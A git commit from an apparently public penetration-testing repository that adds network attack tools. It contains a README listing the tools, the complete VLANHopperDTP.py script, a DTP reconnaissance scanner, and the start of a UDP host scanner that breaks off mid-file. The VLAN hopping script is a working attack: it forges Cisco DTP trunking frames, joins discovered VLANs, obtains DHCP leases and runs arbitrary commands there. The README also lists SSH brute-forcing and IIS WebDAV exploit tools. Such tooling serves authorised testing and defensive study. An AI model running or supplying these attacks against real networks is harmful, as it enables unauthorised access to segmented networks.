This commit is contained in:
Mariusz B
2018-02-02 22:22:43 +01:00
commit c08aa59f9a
65 changed files with 8281 additions and 0 deletions

85
networks/README.md Normal file
View File

@ -0,0 +1,85 @@
## Networks Penetration Testing related scripts, tools and Cheatsheets
- **`dtpscan.py`** - DTP Scanner - simple script trying to determine type of configured switchport and DTP negotation mode in order to assist in VLAN Hopping attacks. ([gist](https://gist.github.com/mgeeky/3f678d385984ba0377299a844fb793fa))
- **`smtpdowngrade.rb`** - Bettercap TCP Proxy SMTP Downgrade module - prevents the SMTP client from sending "STARTTLS" and returns "454 TLS Not available..." to the client. ([gist](https://gist.github.com/mgeeky/188f3f319e6f3536476e4b272ec0fb19))
- **`networkConfigurationCredentialsExtract.py`** - Network-configuration Credentials extraction script - intended to sweep input configuration file and extract keys, hashes, passwords. ([gist](https://gist.github.com/mgeeky/861a8769a261c7fc09a34b7d2bd1e1a0))
- **`VLANHopperDTP.py`** - VLAN Hopping via DTP Trunk (Switch) Spoofing exploit - script automating full VLAN Hopping attack, from DTP detection to VLAN Hop with DHCP lease request ([gist](https://gist.github.com/mgeeky/7ff9bb1dcf8aa093d3a157b3c22432a0))
Sample output:
```
$ ./VLANHopperDTP.py --help
:: VLAN Hopping via DTP Trunk negotiation
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
Mariusz B. / mgeeky, '18
v0.3
usage: ./VLANHopperDTP.py [options]
optional arguments:
-h, --help show this help message and exit
-i DEV, --interface DEV
Select interface on which to operate.
-e CMD, --execute CMD
Launch specified command after hopping to new VLAN.
One can use one of following placeholders in command:
%IFACE (choosen interface), %IP (acquired IP), %NET
(net address), %HWADDR (MAC), %GW (gateway), %MASK
(full mask), %CIDR (short mask). For instance: -e
"arp-scan -I %IFACE %NET%CIDR". May be repeated for
more commands. The command will be launched
SYNCHRONOUSLY, meaning - one have to append "&" at the
end to make the script go along.
-E CMD, --exit-execute CMD
Launch specified command at the end of this script
(during cleanup phase).
-m HWADDR, --mac-address HWADDR
Changes MAC address of the interface before and after
attack.
-f, --force Attempt VLAN Hopping even if DTP was not detected
(like in Nonegotiate situation).
-a, --analyse Analyse mode: do not create subinterfaces, don't ask
for DHCP leases.
-v, --verbose Display verbose output.
-d, --debug Display debug output.
$ sudo ./VLANHopperDTP.py -i enp5s0f1
:: VLAN Hopping via DTP Trunk negotiation
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
Mariusz B. / mgeeky, '18
v0.2
[+] VLAN Hopping IS possible.
[>] After Hopping to other VLANs - leave this program running to maintain connections.
[>] Discovering new VLANs...
==> VLAN discovered: 10
==> VLAN discovered: 20
==> VLAN discovered: 30
==> VLAN discovered: 99
[+] Hopped to VLAN 10.: 172.16.10.10
[+] Hopped to VLAN 20.: 172.16.20.10
[+] Hopped to VLAN 30.: 172.16.30.11
[+] Hopped to VLAN 99.: 172.16.99.10
```
- **`nmap-grep-to-table.sh`** - Script converting nmap's greppable output (-oG) into a printable per-host tables. ([gist](https://gist.github.com/mgeeky/cd3092cf60fd513d786286a21c6fa915))
- **`host-scanner-via-udp.py`** - Running Hosts scanner leveraging ICMP Destination Unreachable response upon UDP closed port packet. ([gist](https://gist.github.com/mgeeky/eae20db2d3dd4704fc6f04ea233bca9c))
- **`smb-credential-leak.html`** - SMB Credentials leakage by MSEdge as presented in Browser Security White Paper, X41 D-Sec GmbH. ([gist](https://gist.github.com/mgeeky/44ce8a8887c169aa6a0093d915ea103d))
- **`iis_webdav_upload.py`** - Microsoft IIS WebDAV Write Code Execution exploit (based on Metasploit HDM's <iis_webdav_upload_asp> implementation). ([gist](https://gist.github.com/mgeeky/ce179cdbe4d8d85979a28c1de61618c2))
- **`smtpvrfy.py`** - SMTP VRFY python tool intended to check whether SMTP server is leaking usernames. ([gist](https://gist.github.com/mgeeky/1df141b18082b6f424df98fa6a630435))
- **`pingsweep.py`** - Quick Python Scapy-based ping-sweeper. ([gist](https://gist.github.com/mgeeky/a360e4a124ddb9ef6a9ac1557b47d14c))
- **`sshbrute.py`** - ripped out from Violent Python - by TJ O'Connor. ([gist](https://gist.github.com/mgeeky/70606be7249a61ac26b34b1ef3b07553))

644
networks/VLANHopperDTP.py Normal file
View File

@ -0,0 +1,644 @@
#!/usr/bin/python
#
# This script is performing DTP Trunk mode detection and VLAN Hopping
# attack automatically, running sniffer afterwards to collect any other
# VLAN available. To be launched only in Unix/Linux environment as the
# script utilizes following applications:
# - 8021q.ko
# - vconfig
# - ifconfig / ip / route
# - dhclient
#
# NOTICE:
# This program uses code written by 'floodlight', which comes from here:
# https://github.com/floodlight/oftest/blob/master/src/python/oftest/afpacket.py
#
# TODO:
# - Add logic that falls back to static IP address setup when DHCP fails
# - Possibly implement custom ARP/ICMP/DHCP spoofers
#
# Mariusz B. / mgeeky, '18
#
import os
import sys
import socket
import struct
import argparse
import tempfile
import commands
import threading
import subprocess
import fcntl, socket, struct
from ctypes import *
try:
from scapy.all import *
except ImportError:
print('[!] Scapy required: pip install scapy')
sys.exit(1)
VERSION = '0.3'
config = {
'verbose' : False,
'debug' : False,
'force' : False,
'count' : 10,
'timeout' : 90,
'analyse' : False,
'interface' : '',
'macaddr' : '',
'inet' : '',
'origmacaddr' : '',
'commands' : [],
'exitcommands' : [],
}
stopThreads = False
attackEngaged = False
dot1qSnifferStarted = False
vlansHijacked = set()
subinterfaces = set()
tempfiles = []
#
# ===============================================
# Floodlight's afpacket definitions
#
ETH_P_8021Q = 0x8100
SOL_PACKET = 263
PACKET_AUXDATA = 8
TP_STATUS_VLAN_VALID = 1 << 4
class struct_iovec(Structure):
_fields_ = [
("iov_base", c_void_p),
("iov_len", c_size_t),
]
class struct_msghdr(Structure):
_fields_ = [
("msg_name", c_void_p),
("msg_namelen", c_uint32),
("msg_iov", POINTER(struct_iovec)),
("msg_iovlen", c_size_t),
("msg_control", c_void_p),
("msg_controllen", c_size_t),
("msg_flags", c_int),
]
class struct_cmsghdr(Structure):
_fields_ = [
("cmsg_len", c_size_t),
("cmsg_level", c_int),
("cmsg_type", c_int),
]
class struct_tpacket_auxdata(Structure):
_fields_ = [
("tp_status", c_uint),
("tp_len", c_uint),
("tp_snaplen", c_uint),
("tp_mac", c_ushort),
("tp_net", c_ushort),
("tp_vlan_tci", c_ushort),
("tp_padding", c_ushort),
]
libc = CDLL("libc.so.6")
recvmsg = libc.recvmsg
recvmsg.argtypes = [c_int, POINTER(struct_msghdr), c_int]
recvmsg.retype = c_int
def enable_auxdata(sk):
"""
Ask the kernel to return the VLAN tag in a control message
Must be called on the socket before afpacket.recv.
"""
sk.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1)
def recv(sk, bufsize):
"""
Receive a packet from an AF_PACKET socket
@sk Socket
@bufsize Maximum packet size
"""
buf = create_string_buffer(bufsize)
ctrl_bufsize = sizeof(struct_cmsghdr) + sizeof(struct_tpacket_auxdata) + sizeof(c_size_t)
ctrl_buf = create_string_buffer(ctrl_bufsize)
iov = struct_iovec()
iov.iov_base = cast(buf, c_void_p)
iov.iov_len = bufsize
msghdr = struct_msghdr()
msghdr.msg_name = None
msghdr.msg_namelen = 0
msghdr.msg_iov = pointer(iov)
msghdr.msg_iovlen = 1
msghdr.msg_control = cast(ctrl_buf, c_void_p)
msghdr.msg_controllen = ctrl_bufsize
msghdr.msg_flags = 0
rv = recvmsg(sk.fileno(), byref(msghdr), 0)
if rv < 0:
raise RuntimeError("recvmsg failed: rv=%d", rv)
# The kernel only delivers control messages we ask for. We
# only enabled PACKET_AUXDATA, so we can assume it's the
# only control message.
assert msghdr.msg_controllen >= sizeof(struct_cmsghdr)
cmsghdr = struct_cmsghdr.from_buffer(ctrl_buf) # pylint: disable=E1101
assert cmsghdr.cmsg_level == SOL_PACKET
assert cmsghdr.cmsg_type == PACKET_AUXDATA
auxdata = struct_tpacket_auxdata.from_buffer(ctrl_buf, sizeof(struct_cmsghdr)) # pylint: disable=E1101
if auxdata.tp_vlan_tci != 0 or auxdata.tp_status & TP_STATUS_VLAN_VALID:
# Insert VLAN tag
tag = struct.pack("!HH", ETH_P_8021Q, auxdata.tp_vlan_tci)
return buf.raw[:12] + tag + buf.raw[12:rv]
else:
return buf.raw[:rv]
#
# ===============================================
#
class Logger:
@staticmethod
def _out(x):
if config['debug'] or config['verbose']:
sys.stdout.write(x + '\n')
@staticmethod
def dbg(x):
if config['debug']:
sys.stdout.write('[dbg] ' + x + '\n')
@staticmethod
def out(x):
Logger._out('[.] ' + x)
@staticmethod
def info(x):
Logger._out('[?] ' + x)
@staticmethod
def err(x):
sys.stdout.write('[!] ' + x + '\n')
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
def inspectPacket(dtp):
tlvs = dtp['DTP'].tlvlist
stat = -1
for tlv in tlvs:
if tlv.type == 2:
stat = ord(tlv.status)
break
ret = True
if stat == -1:
Logger.fail('Something went wrong: Got invalid DTP packet.')
ret = False
elif stat == 2:
Logger.fail('DTP disabled, Switchport in Access mode configuration')
print('[!] VLAN Hopping is not possible.')
ret = False
elif stat == 3:
Logger.ok('DTP enabled, Switchport in default configuration')
print('[+] VLAN Hopping is possible.')
elif stat == 4 or stat == 0x84:
Logger.ok('DTP enabled, Switchport in Dynamic Auto configuration')
print('[+] VLAN Hopping is possible.')
elif stat == 0x81:
Logger.ok('DTP enabled, Switchport in Trunk configuration')
print('[+] VLAN Hopping IS possible.')
elif stat == 0xa5:
Logger.info('DTP enabled, Switchport in Trunk with 802.1Q encapsulation forced configuration')
print('[?] VLAN Hopping may be possible.')
elif stat == 0x42:
Logger.info('DTP enabled, Switchport in Trunk with ISL encapsulation forced configuration')
print('[?] VLAN Hopping may be possible.')
if ret:
print('[>] After Hopping to other VLANs - leave this program running to maintain connections.')
return ret
def floodTrunkingRequests():
while not stopThreads:
# Ethernet
dot3 = Dot3(src = config['macaddr'], dst = '01:00:0c:cc:cc:cc', len = 42)
# Logical-Link Control
llc = LLC(dsap = 0xaa, ssap = 0xaa, ctrl = 3)
# OUT = Cisco, Code = DTP
snap = SNAP(OUI = 0x0c, code = 0x2004)
# DTP, Status = Access/Desirable (3), Type: Trunk (3)
dtp = DTP(ver = 1, tlvlist = [
DTPDomain(length = 13, type = 1, domain = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'),
DTPStatus(status = '\\x03', length = 5, type = 2),
DTPType(length = 5, type = 3, dtptype = '\\xa5'),
DTPNeighbor(type = 4, neighbor = config['macaddr'], len = 10)
])
frame = dot3 / llc / snap / dtp
Logger.dbg('SENT: DTP Trunk Keep-Alive:\n{}'.format(frame.summary()))
send(frame, iface = config['interface'], verbose = False)
time.sleep(30)
def engageDot1qSniffer():
global dot1qSnifferStarted
if dot1qSnifferStarted:
return
dot1qSnifferStarted = True
Logger.info('Starting VLAN/802.1Q sniffer.')
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
sock.bind((config['interface'], ETH_P_ALL))
enable_auxdata(sock)
print('[>] Discovering new VLANs...')
while not stopThreads:
buf = recv(sock, 65535)
pkt = Ether(buf)
if pkt.haslayer(Dot1Q):
dot1q = pkt.vlan
if dot1q not in vlansHijacked:
print('==> VLAN discovered: {}'.format(dot1q))
vlansHijacked.add(dot1q)
if not config['analyse']:
t = threading.Thread(target = addVlanIface, args = (dot1q, ))
t.daemon = True
t.start()
else:
Logger.info('Analysis mode: Did not go any further.')
Logger.info('Stopped VLAN/802.1Q sniffer.')
def processDtps(dtps):
global attackEngaged
if stopThreads: return
if attackEngaged == False:
success = False
for dtp in dtps:
if dtp.haslayer(DTP):
if inspectPacket(dtp):
success = True
break
if success:
Logger.ok('VLAN Hopping via Switch Spoofing may be possible.')
Logger.ok('Flooding with fake Access/Desirable DTP frames...\n')
t = threading.Thread(target = floodTrunkingRequests)
t.daemon = True
t.start()
attackEngaged = True
time.sleep(5)
if attackEngaged:
engageDot1qSniffer()
def launchCommand(subif, cmd):
# following placeholders in command:
# $GW (gateway),
# $MASK (full mask),
Logger.dbg('Subinterface: {}, Parsing command: "{}"'.format(subif, cmd))
if '%IFACE' in cmd: cmd = cmd.replace('%IFACE', subif)
if '%HWADDR' in cmd: cmd = cmd.replace('%HWADDR', getHwAddr(subif))
if '%IP' in cmd: cmd = cmd.replace('%IP', getIfaceIP(subif))
if '%NET' in cmd: cmd = cmd.replace('%NET', shell("route -n | grep " + subif + " | grep -v UG | awk '{print $1}' | head -1"))
if '%MASK' in cmd: cmd = cmd.replace('%MASK', shell("route -n | grep " + subif + " | grep -v UG | awk '{print $3}' | head -1"))
if '%GW' in cmd: cmd = cmd.replace('%GW', shell("route -n | grep " + subif + " | grep UG | awk '{print $2}' | head -1"))
if '%CIDR' in cmd: cmd = cmd.replace('%CIDR', '/' + shell("ip addr show " + subif + " | grep inet | awk '{print $2}' | cut -d/ -f2"))
print('[>] Launching command: "{}"'.format(cmd))
shell(cmd)
def launchCommands(subif, commands):
for cmd in commands:
launchCommand(subif, cmd)
def addVlanIface(vlan):
global subinterfaces
global tempfiles
subif = '{}.{}'.format(config['interface'], vlan)
if subif in subinterfaces:
Logger.fail('Already created that subinterface: {}'.format(subif))
return
Logger.info('Creating new VLAN Subinterface for {}.'.format(vlan))
out = shell('vconfig add {} {}'.format(
config['interface'], vlan
))
if out.startswith('Added VLAN with VID == {}'.format(vlan)):
subinterfaces.add(subif)
pidFile = tempfile.NamedTemporaryFile().name
dbFile = tempfile.NamedTemporaryFile().name
tempfiles.append(pidFile)
tempfiles.append(dbFile)
Logger.info('So far so good, subinterface {} added.'.format(subif))
ret = False
for attempt in range(3):
Logger.dbg('Acquiring DHCP lease for {}'.format(subif))
shell('dhclient -lf {} -pf {} -r {}'.format(dbFile, pidFile, subif))
time.sleep(3)
if attempt > 0:
shell('dhclient -lf {} -pf {} -x {}'.format(dbFile, pidFile, subif))
time.sleep(3)
shell('dhclient -lf {} -pf {} {}'.format(dbFile, pidFile, subif))
time.sleep(3)
ip = getIfaceIP(subif)
if ip:
Logger.dbg('Subinterface has IP: {}'.format(ip))
ret = True
print('[+] Hopped to VLAN {}.: {}'.format(vlan, ip))
launchCommands(subif, config['commands'])
break
time.sleep(5)
if not ret:
Logger.fail('Could not acquire DHCP lease for: {}'.format(subif))
Logger.fail('Skipping...')
else:
Logger.fail('Failed.: "{}"'.format(out))
def packetCallback(pkt):
Logger.dbg('RECV: ' + pkt.summary())
def sniffThread():
global vlansHijacked
warnOnce = False
Logger.info('Sniffing for DTP frames (Max count: {}, Max timeout: {} seconds)...'.format(
config['count'], config['timeout']
))
while not stopThreads and not attackEngaged:
try:
dtps = sniff(
count = config['count'],
filter = 'ether[20:2] == 0x2004',
timeout = config['timeout'],
prn = packetCallback,
stop_filter = lambda x: x.haslayer(DTP) or stopThreads,
iface = config['interface']
)
except Exception as e:
if 'Network is down' in str(e):
break
Logger.err('Exception occured during sniffing: ' + str(e))
if len(dtps) == 0 and not warnOnce:
Logger.fail('It seems like there was no DTP frames transmitted.')
Logger.fail('VLAN Hopping may not be possible (unless Switch is in Non-negotiate state):')
Logger.info('\tSWITCH(config-if)# switchport nonnegotiate\t/ or / ')
Logger.info('\tSWITCH(config-if)# switchport mode access')
warnOnce = True
if len(dtps) > 0 or config['force']:
if len(dtps) > 0:
Logger.dbg('Got {} DTP frames.\n'.format(
len(dtps)
))
else:
Logger.info('Forced mode: Beginning attack blindly.')
t = threading.Thread(target = processDtps, args = (dtps, ))
t.daemon = True
t.start()
Logger.dbg('Stopped sniffing.')
def getHwAddr(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15]))
return ':'.join(['%02x' % ord(char) for char in info[18:24]])
def getIfaceIP(iface):
out = shell("ip addr show " + iface + " | grep inet | awk '{print $2}' | head -1 | cut -d/ -f1")
Logger.dbg('Interface: {} has IP: {}'.format(iface, out))
return out
def changeMacAddress(iface, mac):
old = getHwAddr(iface)
Logger.dbg('Changing MAC address of interface {}, from: {} to: {}'.format(
iface, old, mac
))
shell('ifconfig {} down'.format(iface))
shell('ifconfig {} hw ether {}'.format(iface, mac))
shell('ifconfig {} up'.format(iface))
ret = old != getHwAddr(iface)
if ret:
Logger.dbg('Changed.')
else:
Logger.dbg('Not changed.')
return ret
def assure8021qCapabilities():
if ('not found' in shell('modprobe -n 8021q')):
Logger.err('There is no kernel module named: "8021q". Fatal error.')
return False
if not shell('which vconfig'):
Logger.err('There is no "vconfig" utility. Package required: "vconfig". Fatal error.')
return False
shell('modprobe 8021q')
return True
def shell(cmd):
out = commands.getstatusoutput(cmd)[1]
Logger.dbg('shell("{}") returned:\n"{}"'.format(cmd, out))
return out
def selectDefaultInterface():
global config
commands = {
'ip' : "ip route show | grep default | awk '{print $5}' | head -1",
'ifconfig': "route -n | grep 0.0.0.0 | grep 'UG' | awk '{print $8}' | head -1",
}
for k, v in commands.items():
out = shell(v)
if len(out) > 0:
Logger.info('Default interface lookup command returned:\n{}'.format(out))
config['interface'] = out
return out
return ''
def cleanup():
if config['origmacaddr'] != config['macaddr']:
Logger.dbg('Restoring original MAC address...')
changeMacAddress(config['interface'], config['origmacaddr'])
for subif in subinterfaces:
Logger.dbg('Removing subinterface: {}'.format(subif))
launchCommands(subif, config['exitcommands'])
shell('vconfig rem {}'.format(subif))
Logger.dbg('Removing temporary files...')
for file in tempfiles:
os.remove(file)
def parseOptions(argv):
print('''
:: VLAN Hopping via DTP Trunk negotiation
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
Mariusz B. / mgeeky, '18
v{}
'''.format(VERSION))
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]')
parser.add_argument('-i', '--interface', metavar='DEV', default='', help='Select interface on which to operate.')
parser.add_argument('-e', '--execute', dest='command', metavar='CMD', default=[], action='append', help='Launch specified command after hopping to new VLAN. One can use one of following placeholders in command: %%IFACE (choosen interface), %%IP (acquired IP), %%NET (net address), %%HWADDR (MAC), %%GW (gateway), %%MASK (full mask), %%CIDR (short mask). For instance: -e "arp-scan -I %%IFACE %%NET%%CIDR". May be repeated for more commands. The command will be launched SYNCHRONOUSLY, meaning - one have to append "&" at the end to make the script go along.')
parser.add_argument('-E', '--exit-execute', dest='exitcommand', metavar='CMD', default=[], action='append', help='Launch specified command at the end of this script (during cleanup phase).')
parser.add_argument('-m', '--mac-address', metavar='HWADDR', dest='mac', default='', help='Changes MAC address of the interface before and after attack.')
parser.add_argument('-f', '--force', action='store_true', help='Attempt VLAN Hopping even if DTP was not detected (like in Nonegotiate situation).')
parser.add_argument('-a', '--analyse', action='store_true', help='Analyse mode: do not create subinterfaces, don\'t ask for DHCP leases.')
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
args = parser.parse_args()
config['verbose'] = args.verbose
config['debug'] = args.debug
config['analyse'] = args.analyse
config['force'] = args.force
config['interface'] = args.interface
config['commands'] = args.command
config['exitcommands'] = args.exitcommand
return args
def main(argv):
global config
global stopThreads
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
if os.getuid() != 0:
Logger.err('This program must be run as root.')
return False
load_contrib('dtp')
if not assure8021qCapabilities():
Logger.err('Unable to proceed.')
return False
if not opts.interface:
if not selectDefaultInterface():
Logger.err('Could not find suitable interface. Please specify it.')
return False
print('[>] Interface to work on: "{}"'.format(config['interface']))
config['origmacaddr'] = config['macaddr'] = getHwAddr(config['interface'])
if not config['macaddr']:
Logger.err('Could not acquire MAC address of interface: "{}"'.format(
config['interface']
))
return False
else:
Logger.dbg('Interface "{}" has MAC address: "{}"'.format(
config['interface'], config['macaddr']
))
config['inet'] = getIfaceIP(config['interface'])
if not config['inet']:
Logger.fail('Could not acquire interface\'s IP address! Proceeding...')
oldMac = config['macaddr']
if opts.mac:
oldMac = changeMacAddress(config['interface'], opts.mac)
if oldMac:
config['macaddr'] = opts.mac
else:
Logger.err('Could not change interface\'s MAC address!')
return False
t = threading.Thread(target = sniffThread)
t.daemon = True
t.start()
try:
while True:
pass
except KeyboardInterrupt:
print('\n[>] Cleaning up...')
stopThreads = True
time.sleep(3)
cleanup()
return True
if __name__ == '__main__':
main(sys.argv)

155
networks/dtpscan.py Normal file
View File

@ -0,0 +1,155 @@
#!/usr/bin/python
#
# Simple script showing configuration of the DTP protocol on
# the switch's port. This reconessaince will be helpful for performing
# VLAN Hopping attacks.
#
# Mariusz B. / mgeeky, '18
#
import os
import sys
from scapy.all import *
config = {
'count' : 10,
'timeout' : 90
}
ciscoConfigMaps = {
2: '''
ACCESS/OFF/ACCESS
Administrative Mode: static access
Operational Mode: static access
Administrative Trunking Encapsulation: dot1q
Operational Trunking Encapsulation: native
Negotiation of Trunking: Off''',
3: '''
ACCESS/DESIRABLE/ACCESS
Administrative Mode: dynamic desirable
Operational Mode: static access
Administrative Trunking Encapsulation: dot1q
Operational Trunking Encapsulation: native
Negotiation of Trunking: On''',
4: '''
ACCESS/AUTO/ACCESS
Administrative Mode: dynamic auto
Operational Mode: static access
Administrative Trunking Encapsulation: dot1q
Operational Trunking Encapsulation: native
Negotiation of Trunking: On''',
0x81: '''
TRUNK/ON/TRUNK
Administrative Mode: trunk
Operational Mode: trunk
Administrative Trunking Encapsulation: dot1q
Operational Trunking Encapsulation: dot1q
Negotiation of Trunking: On''',
}
def showConfig(stat):
if stat in ciscoConfigMaps.keys():
print(ciscoConfigMaps[stat])
def inspectPacket(dtp):
tlvs = dtp['DTP'].tlvlist
stat = -1
for tlv in tlvs:
if tlv.type == 2:
# TLV: DTPStatus
stat = ord(tlv.status)
break
print(' ' + '=' * 60)
if stat == -1:
print('[!] Something went wrong: Got invalid DTP packet.')
print(' ' + '=' * 60)
return False
elif stat == 2:
print('[-] DTP disabled, Switchport in Access mode configuration')
print('[-] VLAN Hopping via Switch Spoofing/trunking IS NOT possible.')
print('\n\tSWITCH(config-if)# switchport mode access')
elif stat == 3:
print('[+] DTP enabled, Switchport in default configuration')
print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.')
print('\n\tSWITCH(config-if)# switchport dynamic desirable (or none)')
elif stat == 4 or stat == 0x84:
print('[+] DTP enabled, Switchport in Dynamic Auto configuration')
print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.')
print('\n\tSWITCH(config-if)# switchport mode dynamic auto')
elif stat == 0x81:
print('[+] DTP enabled, Switchport in Trunk configuration')
print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.')
print('\n\tSWITCH(config-if)# switchport mode trunk')
elif stat == 0xa5:
print('[?] DTP enabled, Switchport in Trunk with 802.1Q encapsulation forced configuration')
print('[?] VLAN Hopping via Switch Spoofing/trunking may be possible.')
print('\n\tSWITCH(config-if)# switchport mode trunk 802.1Q')
elif stat == 0x42:
print('[?] DTP enabled, Switchport in Trunk with ISL encapsulation forced configuration')
print('[?] VLAN Hopping via Switch Spoofing/trunking may be possible.')
print('\n\tSWITCH(config-if)# switchport mode trunk ISL')
showConfig(stat)
print(' ' + '=' * 60)
return True
def packetCallback(pkt):
print('[>] Packet: ' + pkt.summary())
def main(argv):
if os.getuid() != 0:
print('[!] This program must be run as root.')
return False
load_contrib('dtp')
print('[*] Sniffing for DTP frames (Max count: {}, Max timeout: {} seconds)...'.format(
config['count'], config['timeout']
))
dtps = sniff(
count = config['count'],
filter = 'ether[20:2] == 0x2004',
timeout = config['timeout'],
prn = packetCallback,
stop_filter = lambda x: x.haslayer(DTP)
)
if len(dtps) == 0:
print('[-] It seems like there was no DTP frames transmitted.')
print('[-] VLAN Hopping may not be possible (unless Switch is in Non-negotiate state):')
print('\n\tSWITCH(config-if)# switchport nonnegotiate\t/ or / ')
print('\tSWITCH(config-if)# switchport mode access')
return False
print('[*] Got {} DTP frames.\n'.format(
len(dtps)
))
success = False
for dtp in dtps:
if dtp.haslayer(DTP):
if inspectPacket(dtp):
success = True
break
if not success:
print('[-] Received possibly corrupted DTP frames! General failure.')
print('')
return success
if __name__ == '__main__':
main(sys.argv)

View File

@ -0,0 +1,257 @@
#!/usr/bin/python
#
# Simple UDP scanner determining whether scanned host replies with
# ICMP Desitnation Unreachable upon receiving UDP packet on some high, closed port.
#
# Based on "Black Hat Python" book by Justin Seitz.
#
# Mariusz B.
#
import os
import sys
import time
import ctypes
import struct
import socket
import threading
from datetime import datetime
try:
from netaddr import IPNetwork, IPAddress
except ImportError:
print('[!] No module named "netaddr". Please type:\n\tpip install netaddr')
sys.exit(1)
DEBUG = False
# Ports that will be used during scanning, considered as most likely closed ports.
SCAN_PORTS = range(65212, 65220)
HOSTS_UP = set()
MAGIC_MESSAGE = '\xec\xcb\x5c\x6f\x41\xbe\x2e\x71\x9e\xd1'
class ICMP(ctypes.Structure):
_fields_ = [
('type', ctypes.c_ubyte),
('code', ctypes.c_ubyte),
('chksum', ctypes.c_ushort),
('unused', ctypes.c_ushort),
('nexthop', ctypes.c_ushort)
]
def __new__(self, sockBuff = None):
return self.from_buffer_copy(sockBuff)
def __init__(self, sockBuff = None):
self.types_map = {
0:'Echo Reply',1:'Unassigned',2:'Unassigned ',3:'Destination Unreachable',
4:'Source Quench',5:'Redirect',6:'Alternate Host Address',7:'Unassigned',
8:'Echo',9:'Router Advertisement',10:'Router Solicitation',11:'Time Exceeded',
12:'Parameter Problem',13:'Timestamp',14:'Timestamp Reply',15:'Information Request',
16:'Information Reply',17:'Address Mask Request',18:'Address Mask Reply',
30:'Traceroute',31:'Datagram Conversion Error',32:'Mobile Host Redirect',
33:'IPv6 Where-Are-You',34:'IPv6 I-Am-Here',35:'Mobile Registration Request',
36:'Mobile Registration Reply',37:'Domain Name Request',38:'Domain Name Reply',
39:'SKIP',40:'Photuris'
}
# Human readable protocol
try:
self.message = self.types_map[self.type]
except:
self.message = str('')
#
# IPv4 packet structure definition in ctypes.
#
class IP(ctypes.Structure):
_fields_ = [
('ihl', ctypes.c_ubyte, 4),
('version', ctypes.c_ubyte, 4),
('tos', ctypes.c_ubyte),
('len', ctypes.c_ushort),
('id', ctypes.c_ushort),
('offset', ctypes.c_ushort),
('ttl', ctypes.c_ubyte),
('protocol_num', ctypes.c_ubyte),
('sum', ctypes.c_ushort),
('src', ctypes.c_ulong),
('dst', ctypes.c_ulong)
]
def __new__(self, socketBuffer = None):
return self.from_buffer_copy(socketBuffer)
def __init__(self, socketBuffer = None):
# Map protocol constants to their names.
self.protocol_map = {
0:'HOPOPT',1:'ICMP',2:'IGMP',3:'GGP',4:'IPv4',5:'ST',6:'TCP',7:'CBT',8:'EGP',
9:'IGP',10:'BBN-RCC-MON',11:'NVP-II',12:'PUP',13:'ARGUS',14:'EMCON',15:'XNET',16:'CHAOS',
17:'UDP',18:'MUX',19:'DCN-MEAS',20:'HMP',21:'PRM',22:'XNS-IDP',23:'TRUNK-1',24:'TRUNK-2',
25:'LEAF-1',26:'LEAF-2',27:'RDP',28:'IRTP',29:'ISO-TP4',30:'NETBLT',31:'MFE-NSP',32:'MERIT-INP',
33:'DCCP',34:'3PC',35:'IDPR',36:'XTP',37:'DDP',38:'IDPR-CMTP',39:'TP++',40:'IL',
41:'IPv6',42:'SDRP',43:'IPv6-Route',44:'IPv6-Frag',45:'IDRP',46:'RSVP',47:'GRE',48:'DSR',
49:'BNA',50:'ESP',51:'AH',52:'I-NLSP',53:'SWIPE',54:'NARP',55:'MOBILE',56:'TLSP',
57:'SKIP',58:'IPv6-ICMP',59:'IPv6-NoNxt',60:'IPv6-Opts',62:'CFTP',64:'SAT-EXPAK',
65:'KRYPTOLAN',66:'RVD',67:'IPPC',69:'SAT-MON',70:'VISA',71:'IPCV',72:'CPNX',
73:'CPHB',74:'WSN',75:'PVP',76:'BR-SAT-MON',77:'SUN-ND',78:'WB-MON',79:'WB-EXPAK',80:'ISO-IP',
81:'VMTP',82:'SECURE-VMTP',83:'VINES',84:'TTP',84:'IPTM',85:'NSFNET-IGP',86:'DGP',87:'TCF',88:'EIGRP',
89:'OSPFIGP',90:'Sprite-RPC',91:'LARP',92:'MTP',93:'AX.25',94:'IPIP',95:'MICP',96:'SCC-SP',
97:'ETHERIP',98:'ENCAP',100:'GMTP',101:'IFMP',102:'PNNI',103:'PIM',104:'ARIS',
105:'SCPS',106:'QNX',107:'A/N',108:'IPComp',109:'SNP',110:'Compaq-Peer',111:'IPX-in-IP',112:'VRRP',
113:'PGM',115:'L2TP',116:'DDX',117:'IATP',118:'STP',119:'SRP',120:'UTI',
121:'SMP',122:'SM',123:'PTP',124:'ISIS',125:'FIRE',126:'CRTP',127:'CRUDP',128:'SSCOPMCE',
129:'IPLT',130:'SPS',131:'PIPE',132:'SCTP',133:'FC',134:'RSVP-E2E-IGNORE',135:'Mobility',136:'UDPLite',
137:'MPLS-in-IP',138:'manet',139:'HIP',140:'Shim6',141:'WESP',142:'ROHC'
}
# Human readable IP addresses.
self.src_address = socket.inet_ntoa(struct.pack('<L', self.src))
self.dst_address = socket.inet_ntoa(struct.pack('<L', self.dst))
# Human readable protocol
try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
def udpSend(subnet, message):
time.sleep(5)
if DEBUG: print('[.] Started spraying UDP packets across {}'.format(str(subnet)))
packets = 0
ports = [x for x in SCAN_PORTS]
sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for ip in IPNetwork(subnet):
try:
for port in ports:
sender.sendto(message, (str(ip), port))
packets += 1
except Exception, e:
pass
print('[.] Spraying thread finished. Sent: {} packets on {} hosts.'.format(
packets, len(IPNetwork(subnet))
))
def processPackets(sniffer, subnet):
global HOSTS_UP
# Read in single packet
try:
